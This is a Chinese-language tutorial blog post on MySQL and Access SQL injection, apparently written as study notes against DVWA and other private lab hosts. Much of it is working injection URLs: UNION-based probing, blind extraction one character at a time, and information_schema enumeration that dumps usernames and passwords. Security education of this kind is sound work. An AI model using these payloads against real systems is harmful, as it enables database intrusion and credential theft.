WEB安全之:SQL 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

SQL 注入

服务器端程序将用户输入参数作为查询条件,直接拼接 SQL 语句,并将查询结果返回给客户端浏览器;由此不仅可以获得数据库,还能通过 SQL 获得系统权限、文件操作等;

**主要危害有:**1、榨取数据; 2、执行系统命令; 3、向数据库插入代码; 绕过登录验证。

1 SQL 注入基础知识

1.1 Mysql 数据库知识

information_schema:系统数据库,含有所有数据库的相关信息。对于 Mysql 和 Infobright 等数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。需要 root 相应权限;

information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema: 记录数据库名;
table_name: 记录数据表名;
engine : 存储引擎;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
index_length : 记录表的索引的大小;
row_format: 可以查看数据表是否压缩过;

1.1.1 Mysql 注释符号

1. #
2. -- (--最后有一个空格)
3. /* content */

# 用于注释后面语句,使其不执行
如:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 3-- &Submit=Submit#

1.1.2 Mysql 注入常用函数

VERSION():MySQL 版本

USER():数据库用户名

DATABASE():数据库名

@@datadir:数据库路径

@@version_compile_os:操作系统版本

exists (str):判断是否存在,存在返回 True,不存在返回 False

hex():编码,十进制数字/字符串 -> 十六进制。例:select(hex('A'));

sleep(6):延时执行

concat(): 
	# concat(十六进制): 解码,十六进制 -> 字符串。例:select concat(0x2D);
	# concat(str1,str2,...):没有分隔符连接字符串;其中任何一个参数为NULL则结果为 NULL
	# concat_ws(separator,str1,str2,...):含有分隔符连接字符串,
		例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null-- 
 第1个字段同时查询多个数据,第2个字段为空,CONCAT_WS连接字符:32,58,32对应的字符为 “空格:空格”;
	# group_concat(str1,str2,...):连接一个组的所有字符串,并以逗号分隔每一条数据

ascii(str):不能探测中文字符.
	# str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
	# str 为空字符串,返回 0
	# str 为NULL,返回 NULL
	# 注:ASCII() 返回数值是从 0 到 255

MID(column_name,start[,length])/SUBSTRING(str,pos,len):用于从文本字段中提取字符
	# column_name:必需。要提取字符的字段
	# start:必需。规定开始位置(起始值是 1)
	# length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

substring_index(str,delim,count)
    例:查询user(),并以@为分隔符,取第一个切分字段:
    	http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select  database(),substring_index(user(),"@",1)-- 


information_schema:系统数据库,含有所有数据库的相关信息。一般利用它可进行一次完整的注入。
# 列出所有的数据库:select group_concat(schema_name) from information_schema.schemata
# 列出某个库当中所有的表:select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

1.1.3 Mysql 注入常用操作符

1.1.3.1 UNION 操作符

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。

  • UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。当前面获取的数据为 Null 时,显示第二个 SELECT 语句中的列名。 例:

    http://192.168.100.137/index.php?id=-1 union select 1,2,3 
    http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,3 
    
  • UNION 默认只选取结果不同的值,如果允许重复的值,使用 UNION ALL。

  • 第二个 SELECT 语句所查询字段可用数字来替代。

  • 若第二个 SELECT 语句所查询的表不存在,则返回错误信息。

  • 即使第二个 SELECT 所查询的表字段数小于第一个所查询的表,也不会返回错误信息。

1.1.4 Mysql 的逻辑运算

1. and == &&
2. or  == ||
3. not == !
4. XOR 异或
# && 与 || 这种特殊的符号 一定要在输入浏览器 URL 前转码之后方可提交,因为浏览器默认不会进行编码

1.2 注入类型

1.2.1 基于数据提交方式区分

  1. GET 注入
    • 提交数据的方式是 GET , GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码。
    • 注入点的位置在 GET 参数部分。比如: http://host/?id=1, id 为注入点。
  2. POST 注入
    • 使用 POST 方式提交数据,POST 请求参数是放在请求 body 里的,长度没有限制。
    • 注入点位置在 POST 数据部分,常发生在表单中。
  3. COOKIE 注入
    • cookie参数放在请求头信息,提交的时候 服务器会从请求头获取参数。
    • 注入点存在 Cookie 当中的某个字段中。

1.2.2 基于数据类型的区分

  1. int 型注入:
    • 如: http://host/?id=1 注入,一般被称为 int 型注入。其注入点 id 类型为数字,在大多数的网页中,像查看用户个人信息、文章等,大都会使用这种形式的结构传递 id 等信息,交给后端,查询出数据库中对应的信息,返回给前端。
    • SQL 语句原型:select * from 表名 where id=1
    • 探测语句: select * from user where id=1 and 1=1
  2. string 型注入:
    • 如: http://host/?username=admin 注入,一般被称为 string 型注入。注意处理此类注入时,可能需要处理 SQL 语句闭合问题。
    • SQL 语句原型:select * from user where username='admin'
    • 探测语句:select * from user where username='admin' and 1=1'
  3. like 型注入:
    • 指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。
    • SQL 语句原型:select * from user where username like '%关键字%'
    • 探测语句:select * from user where username like '%关键字%' and '%1%'='%1%'

1.2.3 基于注入方法区分

  1. 联合查询注入:union select 联合两个表注入
  2. 报错注入:即页面会返回数据库报错信息,或者把注入的语句的结果直接返回在页面中。
  3. 盲注入:
    1. 布尔型注入:即根据返回页面,判断条件真假的注入。
    2. 时间型注入:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

2 检测方法

2.1 正常查询方法

通过正常查询观察可注入点;

2.2 基于闭合报错的检测方法

一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号' /双引号 " 、百分号% 、括号 () ,数据库因为多输入字符导致无法闭合而报错;

例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

2.3 基于布尔的检测方法

**布尔检测:**所有标准对象均可以用于布尔测试,下列对象的布尔值是False:

  • None
  • False
  • 所有值为零的数:0(整型),(浮点型),0L(长整型),0.0+0.0j(复数)
  • “”(空字符串), [ ](空列表) , ()(空元组),{}(空字典)

基于报错的检测方法判断,再进一步确认服务端是否可执行

# 以报错为 `'` 为例:
1. 方法一:
正确查询内容' and '1'='1
2. 方法二:
正确查询内容' and '1
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1%27++AND+%271&Submit=Submit#

# 若闭合报错的检测无法确认,可以尝试忽视闭合符号进行探测:
1. 方法一:
正确查询内容 and 1=1
2. 方法二:
正确查询内容 and 1
例:http://192.168.100.135/index.php?ID=104%20AND%201

3 探测表信息

3.1 union 探测方法

3.1.1 猜测表字段数

order by 1:探测表中包含几个字段,数字变换尝试,

对于order by 数字的用户说明如下:
示例1:
    SELECT last_name, age , hobby FROM users ORDER BY salary DESC;
示例2:
    SELECT last_name, age , hobby FROM users ORDER BY 2 DESC;
以上两个示例结果相同。因为 age 是第二个元素,所以可以使用 2 来代替。但是数字不可以使用 0,也不可以超出查询的列。

例如:select * from users order by x;
    如果 users 表有九个字段,那个 X 的范围就是 1 —— 9,不能是 0,也不能是 10,超出会报错

示例:

# 以闭合报错为 `'` 为例:
正确查询内容'order by 5-- 
    # -- 表示后面的为注释(-- 后有1个空格)
    # 变为:'查询语句' order by 5-- '
    # 效果为:'查询语句' order by 5
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 5-- '&Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行探测:
正确查询内容 order by 5
例:http://192.168.100.135/index.php?ID=104 order by 5

3.1.2 探测表名

union select 1,2,3,4,5 from user

原理: 利用 UNION 确认表名是否存在

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。
  • UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
  • UNION 默认只选取结果不同的值,如果允许重复的值,使用 UNION ALL。
  • 第二个 SELECT 语句所查询字段可用数字来替代。
  • 若第二个 SELECT 语句所查询的表不存在,则返回错误信息。
  • 即使第二个 SELECT 所查询的表字段数小于第一个所查询的表,也不会返回错误信息。
例:http://192.168.100.135/index.php?ID=4 order by 5 是最后一个不报错的数,可知当前的表字段数为 5;

例:利用 UNION 探测表名称,若表存在,以数字替换页面内容的形式,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 union select 1,2,3,4,5 from user

3.1.3 探测表字段名称

原理:

  • 利用探测表名的方法,将第二个 SELECT 语句所查询的(在页面上显示的)数字,替换成所猜测的表字段名称
  • 若表字段存在,以所猜测的表字段名称替换当前数字内容的形式,正常显示页面,反之表字段名称不存在。
http://192.168.100.135/index.php?ID=4 union select 1,username,3,4,5 from admin
http://192.168.100.135/index.php?ID=4 union select 1,username,password,4,5 from admin

3.1.4 探测表数据

  • 利用所探测出的字段名探测出表数据。三种方式:

    • 1. http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1'union select user,password from dvwa.users-- 
      
      2. http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1'union select user,password from users-- 
      
      # 以 ":" 形式分隔输出 user 和 password ;concat 与 concat_ws 的区别是:concat_ws 需要首字段执行分隔符,而concat 直接按照顺序写,':'字符十六进制值0x3A
      3. http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select null,concat(user,0x3a,password) from users-- 
      

3.2 exists () 探测方法

3.2.1 探测表名

原理:

  • 利用 and exists (select * from tablename) 函数配合 SQL 查询语句探测表名是否存在。存在返回为 True ,反之为 False

示例

# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select * from users)-- &Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行探测:
例:利用 exists (select * from tablename) 探测表名称,若表存在正常显示页面;反之,表不存在。
http://192.168.100.135/index.php?ID=4 and exists (select * from admin)

3.2.2 探测表字段名称

原理

  • 利用 and exists (select para1,para2 from tablename) 探测表字段名称是否存在。
# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select user,password from users)-- &Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行探测:
http://192.168.100.135/index.php?ID=4 and exists (select username from admin)

3.2.3 猜测表数据长度

原理

  • 确定所要猜测数据位置,Mysql 下使用 LENGTH(字段名称) 函数与所猜测长度做 = 相等运算,长度猜测正确为真,正常打印页面。(也可以使用 ><)
    • Access 数据库使用 len(字段名称) 确定数据长度。

示例

# 针对 Mysql 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT LENGTH(user) FROM users WHERE user_id=3)=4-- &Submit=Submit#

# 针对 Access 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 and (select top 1 len(username) from admin)=8

3.3 探测字段数据

3.3.1 逐字猜解法

原理

  • mid() 函数:用于从文本字段中提取字符

    SELECT MID(column_name,start[,length]) FROM table_name
    # column_name:必需。要提取字符的字段
    # start:必需。规定开始位置(起始值是 1)
    # length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
    
  • ASCII(str) 函数:不能探测中文字符

    # str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
    # str 为空字符串,返回 0
    # str 为NULL,返回 NULL
    # 注:ASCII() 返回数值是从 0 到 255
    
    • Access 数据库使用 asc(str) 确定数据 ASCII 码
  • 探测出所有字符的 ASCII 码后进行拼接,得到完整数据

示例:

# 针对 Mysql 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),1,1)))=97-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),2,1)))=100-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),3,1)))=109-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),4,1)))=105-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),5,1)))=110-- &Submit=Submit#

# 针对 Access 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,1,1)) from admin)=97
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,2,1)) from admin)=100
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,3,1)) from admin)=109
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,4,1)) from admin)=105
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,5,1)) from admin)=110

3.4 利用 information_schema 探测方法

3.4.1 探测数据库名

http://192.168.100.135/index.php?ID=4 and 1=2 union select 1,database(),3,4,5 

3.4.2 探测表名

原理

  • Mysql 里面有一个库 information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表
# 获取当前库
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,database(),3

# 由当前库获取当前库的表名
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database_name' limit 0,1
limit 0,1 指获取第一个表名,要遍历获取其他表名需要将 0 与 1 同时递增+1,直到返回空结束。

3.4.3 探测表字段名称

原理: information_schema 数据库中 COLUMNCOLUMN_NAME 字段保存着所有表的字段信息。

http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 0,1
# 或对所探测表名称做 16 进制转换
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1

3.4.4 探测字段数据

":" 的 16 进制为 0x3a
# 字段数据
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin limit 0,1

4 group_concat() 函数探测所有数据

  • 此方法不是通用的,有时候会因为字段的大小问题导致探测不全。
    • 解决方法:换一个字段查询,或用函数查询长度再用字符串函数截取。(后续补充)

4.1 探测所有的库

# 需要处理闭合时的情况
# 逐个探测
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- &Submit=Submit#
# 探测所有
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA-- &Submit=Submit#

# 不需要处理闭合时的情况
# 逐个探测
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
# 探测所有
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

4.2 探测所有的表

# 需要处理闭合时的情况http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()-- &Submit=Submit## 不需要处理闭合时的情况http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database()

4.3 探测表中所有字段

# 需要处理闭合时的情况http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273-- &Submit=Submit## 不需要处理闭合时的情况http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_NAME='admin'

4.4 查询所有数据

# 需要处理闭合时的情况http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(user,0x3a,password) FROM users-- &Submit=Submit## 不需要处理闭合时的情况http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin
上一篇:form表单提交方式


下一篇:Java知识点归总一之堆栈